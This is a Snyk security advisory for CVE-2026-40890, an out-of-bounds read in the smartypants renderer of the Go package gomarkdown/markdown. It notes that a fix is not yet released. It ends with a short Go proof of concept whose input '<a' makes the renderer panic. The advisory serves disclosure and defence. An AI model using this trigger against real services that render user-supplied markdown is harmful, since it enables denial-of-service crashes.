Out-of-bounds Read Affecting github.com/gomarkdown/markdown/html package, versions >=0.0.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMGOMARKDOWNMARKDOWNHTML-16066911
- published15 Apr 2026
- disclosed14 Apr 2026
- creditJulesDT
Introduced: 14 Apr 2026
NewCVE-2026-40890 (opens in a new tab)How to fix?
A fix was pushed into the master branch but not yet published.
Overview
Affected versions of this package are vulnerable to Out-of-bounds Read via the smartLeftAngle function in smartypants.go file. An attacker can cause a panic or read unintended memory by providing input containing a < character that is not followed by a > character in the remaining text.
PoC
package main
import (
"bytes"
"fmt"
"github.com/gomarkdown/markdown/html"
)
func main() {
src := []byte("<a")
fmt.Printf("Input: %q (len=%d, cap=%d)\n", src, len(src), cap(src))
var buf bytes.Buffer
sp := html.NewSmartypantsRenderer(html.Smartypants)
sp.Process(&buf, src) // panics: slice bounds out of range
fmt.Printf("Output: %q\n", buf.String())
}